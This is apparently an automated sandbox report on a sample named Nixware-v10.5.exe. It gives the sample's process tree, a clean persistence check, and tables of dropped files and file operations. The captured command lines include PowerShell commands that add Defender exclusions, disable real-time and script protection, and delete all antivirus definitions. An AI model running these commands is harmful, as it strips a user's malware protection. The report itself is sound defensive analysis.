dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processenvironment-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-namedpipe-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-memory-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-localization-l1-2-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-libraryloader-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-interlocked-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-heap-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-handle-l1-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l2-1-0.dll
dropC:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-2-0.dll
Showing the first 40 of 47. The full list is on the Behavior section.
Nixware-v10.5.exe
PID 2380
Image
C:\Users\user\Desktop\Nixware-v10.5.exe
Command
"C:\Users\user\Desktop\Nixware-v10.5.exe"
Parent
PID 340 · Nixware-v10.5.exe
Children
4
File operations1
createC:\Users\user\AppData\Local\Temp\_MEI3402\blank.aes
cmd.exe
PID 4848
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Nixware-v10.5.exe'"
Parent
PID 2380 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 2260
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 4848 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
powershell.exe
PID 1860
Image
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Nixware-v10.5.exe'
Parent
PID 4848 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> powershell.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 4856
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Parent
PID 2380 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 4840
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 4856 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
powershell.exe
PID 4580
Image
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Parent
PID 4856 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> powershell.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 3652
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"
Parent
PID 2380 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 3616
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 3652 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
powershell.exe
PID 1780
Image
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Parent
PID 3652 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> powershell.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
cmd.exe
PID 4668
Image
C:\Windows\System32\cmd.exe
Command
C:\Windows\system32\cmd.exe /c "start bound.exe"
Parent
PID 2380 · Nixware-v10.5.exe
Chain
nixware-v10.5.exe -> cmd.exe
Children
2
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 5984
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 4668 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
bound.exe
PID 4576
Image
C:\Users\user\AppData\Local\Temp\bound.exe
Command
bound.exe
Parent
PID 4668 · cmd.exe
Chain
nixware-v10.5.exe -> cmd.exe -> bound.exe
Children
1
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 1592
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
PID 4576 · bound.exe
Chain
nixware-v10.5.exe -> cmd.exe -> bound.exe
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
conhost.exe
PID 4024
Image
C:\Windows\System32\conhost.exe
Command
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Parent
not captured - its parent is outside the sample's tree
Nothing in this run was attributed to this process. That is not the same as "it did nothing" - it means no captured operation carried its pid.
Not attributed to any process
2 kindsThese operations were captured but carry no pid this tree could match, so they are not shown against any node above.
File operations64
Registry operations1
0Mechanisms found
90Methods checked
0ATT&CK techniques
NONEHighest severity
Persistence mechanisms
cleanNo persistence established
None of the 90 auto-start methods below were established during this run.
Detection coverage
0 / 90Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".
Logon & Startup
22 clean
- Active Setup Installed Component T1547.014 clean
- Explorer Delay-Load Object T1547.001 clean
- Explorer Run Key T1547.001 clean
- Explorer SharedTaskScheduler T1547.001 clean
- Group Policy Extension DLL T1547.004 clean
- Group Policy Run Key T1547.001 clean
- Logon Script T1037.001 clean
- RDP WDS Startup Program T1547.001 clean
- Registry Run Key T1547.001 clean
- Registry RunEx Key T1547.001 clean
- Registry RunOnce Key T1547.001 clean
- Registry RunOnceEx Key T1547.001 clean
- Registry RunServices Key T1547.001 clean
- Startup Folder Item T1547.001 clean
- Startup Folder Redirection T1547.001 clean
- Terminal Services Initial Program T1547.001 clean
- Winlogon GINA DLL T1547.004 clean
- Winlogon MPNotify Value T1547.004 clean
- Winlogon Notify Package T1547.004 clean
- Winlogon Shell Value T1547.004 clean
- Winlogon Taskman Value T1547.004 clean
- Winlogon Userinit Value T1547.004 clean
Services & Tasks
9 clean
- BITS Job T1197 clean
- Print Monitor DLL T1547.010 clean
- Print Processor DLL T1547.012 clean
- Scheduled Task T1053.005 clean
- Scheduled Task Registry Implant T1053.005 clean
- Service Control Manager Security Descriptor T1574.011 clean
- Service DLL Hijack T1543.003 clean
- Time Provider DLL T1547.003 clean
- Windows Service Creation T1543.003 clean
Execution Hijack
17 clean
- .NET Managed Debugger T1546.012 clean
- Accessibility Tool Hijack T1546.008 clean
- AeDebug Postmortem Debugger T1546.012 clean
- App Paths Hijack T1546.012 clean
- Application Shim Database T1546.011 clean
- Boot Verification Program T1547.002 clean
- Command Processor AutoRun T1546.011 clean
- Explorer Load Value T1547.001 clean
- Explorer MyComputer Tool Hijack T1546.001 clean
- Registry Image File Execution Options T1546.012 clean
- Screensaver Hijack T1546.002 clean
- Setup ErrorHandler Script T1546 clean
- Shell Open Command Hijack T1546.001 clean
- SilentProcessExit Monitor T1546.012 clean
- Telemetry Controller Command T1546.015 clean
- WER ReflectDebugger T1546.012 clean
- Windows Error Reporting Debugger T1546.012 clean
DLL Load Order
12 clean
- .NET CLR Profiler DLL T1574.012 clean
- .NET Startup Hook DLL T1574 clean
- AppCert DLLs T1546.009 clean
- AppInit DLLs T1546.010 clean
- AutodialDLL Winsock Injection T1546.006 clean
- DLL Search-Order Hijack T1574.001 T1574.002 clean
- DNS Server Plugin DLL T1574.001 clean
- HTML Help Helper DLL T1546 clean
- KnownDLLs Manipulation T1574.001 clean
- Natural Language Platform DLL Override T1546 clean
- Netsh Helper DLL T1546.007 clean
- Winsock Layered Service Provider T1546.006 clean
COM & Browser
6 clean
- Browser Extension T1176 clean
- Browser Helper Object T1176 clean
- COM Server Hijack T1546.015 clean
- HTML Help COM Object Hijack T1546.015 clean
- Shell Context Menu Handler T1546.001 clean
- Shell Extension Handler T1546.001 clean
Security Providers & Accounts
11 clean
- Account RID Hijack T1098 clean
- AMSI Provider T1562.001 clean
- Credential Provider T1547.014 clean
- DSRM Admin Logon Backdoor T1556 clean
- Hidden Local Account T1136.001 clean
- LSA Authentication Package T1547.002 clean
- LSA Extension DLL T1547.005 clean
- LSA Notification Package T1547.005 clean
- LSA Security Package T1547.005 clean
- Network Provider DLL T1556.008 clean
- Security Support Provider T1547.005 clean
Scripting & Applications
9 clean
- Netsh Port Proxy T1090.001 clean
- Office Add-in T1137.006 clean
- Office Executable Sideload T1574.002 clean
- Office Startup Template T1137.001 clean
- Office Test Key T1137.002 clean
- Power Automate Flow T1546 clean
- PowerShell Profile T1546.013 clean
- Windows Terminal Startup Action T1546 clean
- WMI Event Subscription T1546.003 clean
Boot & Firmware
4 clean
- BootExecute Native Image T1547.002 clean
- PlatformExecute Native Image T1547.002 clean
- SetupExecute Native Image T1547.002 clean
- UEFI / Bootkit Artifact T1542.003 T1542.001 clean
File activity summary
create 129
write 0
modify 63
delete 98
rename 0
Dropped files
94 payloadsDownloadable copies were kept for 0 distinct payloads. 69 more distinct payloads exceeded the per-scan capture limit and are listed below without bytes.
| Path | SHA-256 | Size | Process | Time | Download |
|---|---|---|---|---|---|
| C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll | 36585912e5eaf83ba9fea063… | 117.6 KB | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-errorhandling-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-fibers-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-2-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l2-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-handle-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-heap-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-interlocked-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-libraryloader-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-localization-l1-2-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-memory-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-namedpipe-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processenvironment-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-1.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-profile-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-rtlsupport-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-string-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-2-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll | 048d4c5a51e45777ba15facd… | 1.1 MB | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll | 09693bab682495b01de8a24c… | 1.8 MB | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll | 135c772b42ba6353757a4d07… | 29.3 KB | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-heap-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-filesystem-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-environment-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-convert-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-conio-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-util-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-timezone-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-sysinfo-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 572 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\ucrtbase.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\sqlite3.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\rar.exe | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\python313.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\libssl-3.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\libffi-8.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\libcrypto-3.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-utility-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-time-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-string-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-stdio-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-runtime-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-process-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-math-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-locale-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-heap-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-filesystem-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-environment-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-convert-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-conio-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-util-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-timezone-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-sysinfo-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-2-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-string-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-rtlsupport-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-profile-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-1.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processenvironment-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-namedpipe-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-memory-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-localization-l1-2-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-libraryloader-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-interlocked-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-heap-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-handle-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l2-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-2-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-fibers-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-errorhandling-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-debug-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-datetime-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-console-l1-1-0.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
| C:\Users\user\AppData\Local\Temp\_MEI3402\VCRUNTIME140.dll | - | - | Nixware-v10.5.exe pid 340 | - | - |
Dropped payload analysis
not examinedThe capture of dropped payloads did not complete, so no payload was examined on this run. What the sample wrote is listed above by path; what those files are was not established.
File & registry ops
290 file · 2 registry · sample scope
File operation times: 189 timed101 not measured
| Operation | Target | Process | |
|---|---|---|---|
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| createpayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_bz2.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:11.872 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ssl.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_sqlite3.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_socket.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_queue.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_lzma.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_hashlib.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_decimal.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:11.872 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\_bz2.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:03.035 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:11.837 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:11.837 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
